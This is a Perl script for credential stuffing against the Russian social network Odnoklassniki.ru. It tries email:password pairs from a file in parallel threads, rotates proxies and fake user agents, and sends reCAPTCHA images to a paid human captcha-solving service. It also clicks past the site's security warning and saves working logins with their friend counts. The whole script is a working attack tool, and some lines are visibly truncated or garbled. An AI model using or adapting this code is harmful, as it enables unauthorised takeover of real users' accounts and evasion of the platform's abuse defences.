#! /usr/bin/perl -w use HTTP::Cookies; use LWP::UserAgent; use Fcntl ':flock'; use threads; use threads::shared; ####################################################################### $tn = 5 ; #Кол-во потоков <= кол-во аккаунтов $sx = 0 ; #0 - не использовать прокси, 1 - использовать прокси $ml = './accs.txt' ; #Список аккаунтов в формате email:pass $px = './prxy.txt' ; #Файл с http проксями, прокси в формате ip:port $key = 'ключ' ; #Анти-капча (Необязательно, но мало ли) ####################################################################### printf "Starting...\n"; mkdir ('tmp', 777); ####################################################################### open(DAT, $ml) || die("Could not open accs file!"); my @data : shared = ; undef %saw; @data = grep(!$saw{$_}++, @data); close(DAT); open(DAT, $px) || die("Could not open proxy file!"); @proxy =; chomp(@proxy); close(DAT); ####################################################################### my $seed : shared = 0; my $size = scalar @data; my $time = time; $| = 1; ($tn > $size-1) ? ($tn = $size-1) : (); ####################################################################### printf "Odnoklassniki.ru\n"; printf "Started at ".localtime()."\n"; sleep(1); ####################################################################### for(0..$tn-1) {$trl[$_] = threads->create(\&gogo, $_);} for(@trl) { $_->join; } ####################################################################### sub gogo { my($ua,$ck) = browser($_); if($sx) {until(proxy($ua)){}} sleep(1); while(@data) { $ck->clear(); my $prefix = ''; my $mail = ''; ($prefix,$mail) = login($ua, $seed); if($prefix) { warno($ua,$prefix); $ua->post("http://$prefix.odnoklassniki.ru/dk?cmd=lang&st.cmd=userMain", {lang => 'ru'}); my $people = $ua->get("http://$prefix.odnoklassniki.ru/dk?st.cmd=userMain")->as_string; $people =~ /Мои друзья<\/a><\/td>(\d+)<\/td><\/tr>/; my $fc = $1; chomp($fc); chomp($mail); print "Friends $fc ($mail)\n"; open(F, ">>checked.txt"); flock(F, LOCK_EX); print F $mail.":".$fc."\n"; flock(F, LOCK_UN); close(F); } } } ####################################################################### sub swa { my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0); return $agents[rand scalar @agents]; } ####################################################################### sub login { my($browser, $seed) = @_; (scalar @data == 0) ? die("No more valid accounts for this thread\n") : (); my $acc = ''; {lock(@data); $acc = shift(@data);} my($mail,$pwd) = split(/:/,$acc); my $res = $browser->get('http://odnoklassniki.ru/')->as_string; $res =~ /
post($url, [ 'st.posted' => 'set', 'st.email' => $mail, 'st.password' => $pwd, 'button_go' => '%D0%92%D0%BE%D0%B9%D1%82%D0%B8' ] )->as_string; $res =~ /Location: (\S+)/; my $red = $1; $red =~ /http\:\/\/(.*?)\.o/; my $prefix = $1; if($res =~ /302 Found/) { my $re = $browser->get($red)->as_string; if($re =~ /recaptcha/) { lo(" [c]$mail\n"); if(length($key) > 10) { captcha($browser,$re,$prefix); return $prefix,$acc; } else { return 0; } } else { lo(" [+]$mail\n"); return $prefix,$acc; } } else { lo(" [-]$mail\n"); return 0; } } else { lo("Can't get login url\n"); if($sx) {until(proxy($browser)){}} return 0; } } ####################################################################### sub captcha { my($browser,$re,$prefix) = @_; my $seed = int(rand(1000)); my $cid = $seed."captcha".$seed.".jpg"; if($re =~ /challenge\?k=(.*?)"/) { my $c1 = $browser->get("http://api.recaptcha.net/challenge?k=$1")->as_string; $c1 =~ /challenge \: '(.*?)'/s; my $url = $1; GM: my $c2 = $browser->get("http://api.recaptcha.net/image?c=$url")->as_string; $c2 =~ /\n\n(.*)/s; my $capt = $1; open(F,">./tmp/$cid"); binmode F; print F $capt; close(F); if(-s "./tmp/$cid" > 4000) {goto GM;} my $cap = grendayzer($cid); my $answ = $browser->post("http://$prefix.odnoklassniki.ru/dk?cmd=flood&st.cmd=userMain", [ 'fr_button' => 'set', 'recaptcha_challenge_field' => $url, 'recaptcha_response_field' => '', 'fr_code' => $cap, 'button_save' => '%D0%9F%D0%BE%D0%B4%D1%82%D0%B2%D0%B5%D1%80%D0%B4%D0%B8%D1%82%D1%8C' ] ); } } ####################################################################### sub grendayzer { my($img) = @_; my $ua = new LWP::UserAgent; lo(" Recognizing captcha...\n"); my $digits = ''; M: my $response = $ua->post( "http://vip.anti-captcha.com/in.php", Content_Type => 'form-data', Content => [ file => ["./tmp/$img", "$img", "Content-Type" => "application/octet-stream"], method => "post", phrase => 1, regsense => 1, key => $key ] )->as_string; if($response =~ /OK\|(\d+)/) { my $kkey = $1; do { lo(" Waiting chinese response...($kkey)\n"); $digits = $ua->get("http://vip.anti-captcha.com/res.php?key=$key&action=get&id=$kkey")->as_string; sleep(5); } while($digits =~ /CAPCHA_NOT_READY/); $digits =~ /OK\|(.*)/; $digits = $1; } elsif ($response =~ /ERROR_NO_SLOT_AVAILABLE/) {sleep(1); lo(" Waiting for slot...\n"); goto M;} elsif ($response =~ /ERROR_KEY/) {lo(" Your anti-captcha key is invalid, please check or remove it\n"); exit(0);} else { $response =~ /\n\n(.*)/s; print "Something wrong with ac: $1\n";} unlink "./tmp/$img"; return $digits; } ####################################################################### sub browser { my($val) = @_; my $cookie_jar = HTTP::Cookies->new(file => "$val.dat", autosave => 1); my $ua = LWP::UserAgent->new(); $cookie_jar->clear(); $ua->agent(swa()); $ua->cookie_jar($cookie_jar); $ua->parse_head(0); $ua->timeout(60); return $ua,$cookie_jar; } ####################################################################### sub proxy { my($ua) = @_; if(scalar @proxy == 0) {die "No more proxy\n";} my $seed = int(rand(scalar @proxy)); my $cp = $proxy[$seed]; $ua->proxy(['http'] => 'http://'.$cp); if($ua->get('http://r0.ru/')->is_success){lo(" ||Current proxy $cp||\n"); return 1;} else {splice(@proxy,$seed,1); lo(" ||Proxy error $cp||\n"); return 0;} } ####################################################################### sub lo { print localtime()." @_"; } ####################################################################### sub warno { my($ua,$prefix) = @_; $ua->post("http://$prefix.odnoklassniki.ru/dk?cmd=warning&st.cmd=userMain", [ 'fr_button' => 'set', 'button_save' => '%D0%9F%D1%80%D0%BE%D0%B4%D0%BE%D0%BB%D0%B6%D0%B8%D1%82%D1%8C']); } ####################################################################### $time = time-$time; printf "Completed at ".localtime()."\n"; printf "Time Elapsed: $time sec\n"; ####################################################################### #(c)Kaimi